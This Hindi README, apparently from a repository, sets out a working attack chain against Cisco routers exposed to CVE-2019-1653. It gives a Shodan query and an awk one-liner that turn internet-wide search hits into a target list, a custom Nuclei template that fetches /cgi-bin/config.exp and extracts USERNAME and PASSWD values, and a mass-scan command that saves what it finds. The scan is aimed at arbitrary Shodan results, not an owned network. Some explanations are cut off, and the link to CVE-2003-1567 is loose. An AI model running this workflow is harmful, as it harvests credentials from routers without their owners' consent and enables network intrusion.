
स्वचालित Nuclei टेम्पलेट और Shodan वर्कफ़्लो Cisco राउटर कॉन्फ़िगरेशन एक्सपोज़र (CVE-2019-1653) का पता लगाने और शोषण करने के लिए सुरक्षा ऑडिटिंग हेतु।
यह रिपॉजिटरी कुछ सिस्को राउटर्स में एक भेद्यता के शोषण की प्रक्रिया का विवरण देती है जो एक सार्वजनिक URL के माध्यम से config.exp कॉन्फ़िगरेशन फ़ाइल के एक्सपोज़र की अनुमति देती है। इस फ़ाइल में संवेदनशील जानकारी हो सकती है, जिसमें क्रेडेंशियल (USERNAME और PASSWD), नेटवर्क कॉन्फ़िगरेशन और सिस्टम के अन्य महत्वपूर्ण विवरण शामिल हैं। यदि यह प्रमाणीकरण के बिना सुलभ है, तो यह डिवाइस और उस नेटवर्क की सुरक्षा से समझौता कर सकता है जिसमें इसे तैनात किया गया है।
यह भेद्यता CVE-2003-1567 और CVE-2019-1653 से संबंधित हो सकती है, दोनों सिस्को डिवाइसों में कॉन्फ़िगरेशन फ़ाइलों के अनधिकृत एक्सपोज़र से संबंधित हैं, हालांकि यह जांचना महत्वपूर्ण है कि क्या विशिष्ट डिवाइस और फर्मवेयर इन CVE पर लागू होते हैं।
यह प्रक्रिया कमजोर डिवाइसों की पहचान करने के लिए Shodan का उपयोग करती है, इसके बाद सिस्को राउटर्स में महत्वपूर्ण कॉन्फ़िगरेशन के एक्सपोज़र को स्कैन और सत्यापित करने के लिए Nuclei का उपयोग करती है।
पहला कदम एक उन्नत खोज के माध्यम से Shodan पर कमजोर डिवाइसों की पहचान करना है। Shodan पर निम्नलिखित क्वेरी ऐसे डिवाइसों की खोज करती है जो संभावित रूप से सिस्को राउटर हैं:
shodan download apache_results.json.gz "http.favicon.hash:-299287097 Apache"
यह कमांड:
एक बार जब आपके पास apache_results.json.gz फ़ाइल हो, तो अगला कदम प्रत्येक डिवाइस से IP और पोर्ट निकालना है ताकि प्रोटोकॉल (http या https) और पोर्ट सहित पूर्ण URLs बनाया जा सके।
URLs को पूर्ण URLs में निकालने और फ़ॉर्मेट करने के लिए urls.txt नामक फ़ाइल में निम्नलिखित कमांड का उपयोग करें:
shodan parse --fields ip_str,port,ssl.version apache_results.json.gz | \
awk '{if ($2 == 443 || $3 ~ /https/) print "https://"$1":"$2; else print "http://"$1":"$2}' > urls.txt
shodan parse: apache_results.json.gz फ़ाइल में प्रत्येक परिणाम से IP और पोर्ट निकालता है।awk: आउटपुट को पूर्ण URLs में फ़ॉर्मेट करता है, यदि पोर्ट 443 है या SSL का पता चलता है तो https का उपयोग करता है, अन्यथा http का उपयोग करता है।urls.txt फ़ाइल में अब पूर्ण और फ़ॉर्मेटेड URLs हैं।
यह जांचने के लिए कि क्या इन डिवाइसों पर config.exp फ़ाइल सुलभ है, हम एक कस्टम Nuclei टेम्पलेट का उपयोग करेंगे। यह टेम्पलेट फ़ाइल तक पहुँचने का प्रयास करेगा और यदि मौजूद हैं तो USERNAME और PASSWD जैसे संवेदनशील डेटा निकालेगा।
id: cisco-router-config-exposure
info:
name: Cisco Router Configuration Exposure
author: elzer
severity: high
description: |
Detecta la exposición del archivo config.exp en routers Cisco que contiene credenciales y configuraciones críticas.
tags:
- cisco
- router
- vulnerability
- cgi-bin
- config.exp
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/config.exp"
matchers-condition: or
matchers:
- type: word
words:
- "Cisco"
- "config"
- "version"
- type: regex
regex:
- "USERNAME=\\w+"
- "PASSWD=[a-f0-9]{32}"
यह टेम्पलेट:
/cgi-bin/config.exp फ़ाइल पर GET अनुरोध भेजता है।इस टेम्पलेट को Nuclei टेम्पलेट फ़ोल्डर में cisco-router-config-exposure.yaml के रूप में सहेजें।
टेम्पलेट और urls.txt फ़ाइल तैयार होने पर, URLs को स्कैन करने के लिए Nuclei का निम्नलिखित कमांड चलाएँ:
nuclei -t path/to/cisco-router-config-exposure.yaml -l urls.txt -o resultados_nuclei.txt -debug -vv
-t path/to/cisco-router-config-exposure.yaml: हमारे द्वारा बनाए गए कस्टम टेम्पलेट को इंगित करता है।-l urls.txt: फ़ॉर्मेटेड URLs वाली urls.txt फ़ाइल का उपयोग करता है।-o resultados_nuclei.txt: परिणामों को resultados_nuclei.txt फ़ाइल में सहेजता है।-debug -vv: प्रगति और डिबग विवरण देखने के लिए Nuclei को विस्तृत मोड में चलाता है।Nuclei चलाने के बाद, resultados_nuclei.txt फ़ाइल में कमजोर डिवाइसों की एक सूची होगी जो config.exp कॉन्फ़िगरेशन फ़ाइल को एक्सपोज़ करते हैं। इसमें कोई भी डिवाइस शामिल होगा जो क्रेडेंशियल या संवेदनशील कॉन्फ़िगरेशन लौटाता है, जो भेद्यता के एक्सपोज़र की पुष्टि करता है।
यह प्रक्रिया आपको Shodan और Nuclei का उपयोग करके सिस्को डिवाइसों में महत्वपूर्ण कॉन्फ़िगरेशन फ़ाइलों के एक्सपोज़र की पहचान और पुष्टि करने की अनुमति देती है। इस प्रवाह का स्वचालन विशेष रूप से सुरक्षा ऑडिटरों और साइबर सुरक्षा पेशेवरों के लिए उपयोगी है जो कॉर्पोरेट नेटवर्क में असुरक्षित कॉन्फ़िगरेशन की पहचान और सुधार में रुचि रखते हैं।